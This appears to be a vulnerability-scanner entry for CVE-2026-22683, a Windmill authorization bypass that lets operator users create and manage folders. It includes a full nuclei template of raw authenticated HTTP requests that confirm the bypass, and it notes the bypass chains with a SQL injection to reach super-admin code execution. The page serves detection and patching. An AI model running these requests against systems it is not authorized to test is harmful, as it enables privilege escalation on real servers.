Windmill < 1.603.3 - Operator Authorization Bypass

highseverity

8.1CVSS score

2.6%likelihood of exploitation, next 30 days

86%of all CVEs are less likely

Readycheck to confirm it

Windmill versions 1.276.0 through 1.603.2 contain an authorization bypass vulnerability in the folder management API endpoints. The endpoints for creating, deleting, and managing folder ownership do not enforce role-based access control for operator-level users. In Windmill, operators are restricted users intended to only execute existing scripts, but due to missing server-side authorization checks, operators can create folders, manage folder permissions, and access owner management endpoints. This bypass serves as the prerequisite for exploiting CVE-2026-23696 (SQL injection via folder addowner) enabling full privilege escalation from operator to super admin with remote code execution.

Impact

An attacker with operator-level credentials can bypass role restrictions to create and manage folders. When chained with CVE-2026-23696 (SQL injection in folder addowner), this enables extraction of the JWT signing secret, forging of admin tokens, and escalation to super admin with arbitrary code execution on the server.

Fix

Update Windmill to version 1.603.3 or later which properly enforces operator role restrictions on folder management and job execution endpoints.

How to confirm it

Send: GET /api/workspaces/list
Positive when: contains "\"id\""
Send: GET /api/w/{{workspace}}/users/whoami
Positive when: contains_all(body, '"operator":true','"is_admin":false')
Send: POST /api/w/{{workspace}}/folders/create
Positive when: contains "Created folder"
Send: GET /api/w/{{workspace}}/folders/get/{{folder}}
Positive when: contains "\"owners\"" and "\"extra_perms\"" AND status 200
Send: DELETE /api/w/{{workspace}}/folders/delete/{{folder}}
Positive when: status 200

Run it with nuclei: nuclei -id CVE-2026-22683 -u <target>

The full check

id: CVE-2026-22683

info:
  name: Windmill < 1.603.3 - Operator Authorization Bypass
  author: chocapikk,DhiyaneshDK
  severity: high
  description: |
    Windmill versions 1.276.0 through 1.603.2 contain an authorization bypass vulnerability in the folder management API endpoints. The endpoints for creating, deleting, and managing folder ownership do not enforce role-based access control for operator-level users. In Windmill, operators are restricted users intended to only execute existing scripts, but due to missing server-side authorization checks, operators can create folders, manage folder permissions, and access owner management endpoints. This bypass serves as the prerequisite for exploiting CVE-2026-23696 (SQL injection via folder addowner) enabling full privilege escalation from operator to super admin with remote code execution.
  impact: |
    An attacker with operator-level credentials can bypass role restrictions to create and manage folders. When chained with CVE-2026-23696 (SQL injection in folder addowner), this enables extraction of the JWT signing secret, forging of admin tokens, and escalation to super admin with arbitrary code execution on the server.
  remediation: |
    Update Windmill to version 1.603.3 or later which properly enforces operator role restrictions on folder management and job execution endpoints.
  reference:
    - https://github.com/Chocapikk/Windfall
    - https://github.com/windmill-labs/windmill/commit/942fb629210ebb287f48467d1535ffde3a3eeafe
    - https://chocapikk.com/posts/2026/windfall-nextcloud-flow-windmill-rce/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-22683
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 8.1
    cve-id: CVE-2026-22683
    epss-score: 0.02609
    epss-percentile: 0.85531
    cwe-id: CWE-862
  metadata:
    verified: true
    max-request: 5
    vendor: windmill-labs
    product: windmill
  tags: cve,cve2026,windmill,operator,privesc,authenticated

variables:
  folder: "{{to_lower(rand_text_alpha(8))}}"

flow: |
  http("list-workspaces") && http("check-role") && http("create-folder") && http("verify-bypass") && http("cleanup")

http:
  - id: list-workspaces
    raw:
      - |
        GET /api/workspaces/list HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer {{token}}
        Content-Type: application/json

    matchers:
      - type: word
        words:
          - '"id"'
        internal: true

    extractors:
      - type: regex
        name: workspace
        part: body
        group: 1
        regex:
          - '"id"\s*:\s*"([^"]+)"'
        internal: true

  - id: check-role
    raw:
      - |
        GET /api/w/{{workspace}}/users/whoami HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer {{token}}
        Content-Type: application/json

    matchers:
      - type: dsl
        dsl:
          - "contains_all(body, '\"operator\":true','\"is_admin\":false')"
        internal: true

  - id: create-folder
    raw:
      - |
        POST /api/w/{{workspace}}/folders/create HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer {{token}}
        Content-Type: application/json

        {"name":"{{folder}}"}

    matchers:
      - type: word
        words:
          - "Created folder"
        internal: true

  - id: verify-bypass
    raw:
      - |
        GET /api/w/{{workspace}}/folders/get/{{folder}} HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer {{token}}
        Content-Type: application/json

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '"owners"'
          - '"extra_perms"'
        condition: and

      - type: status
        status:
          - 200

  - id: cleanup
    raw:
      - |
        DELETE /api/w/{{workspace}}/folders/delete/{{folder}} HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer {{token}}
        Content-Type: application/json

    matchers:
      - type: status
        status:
          - 200
        internal: true

References

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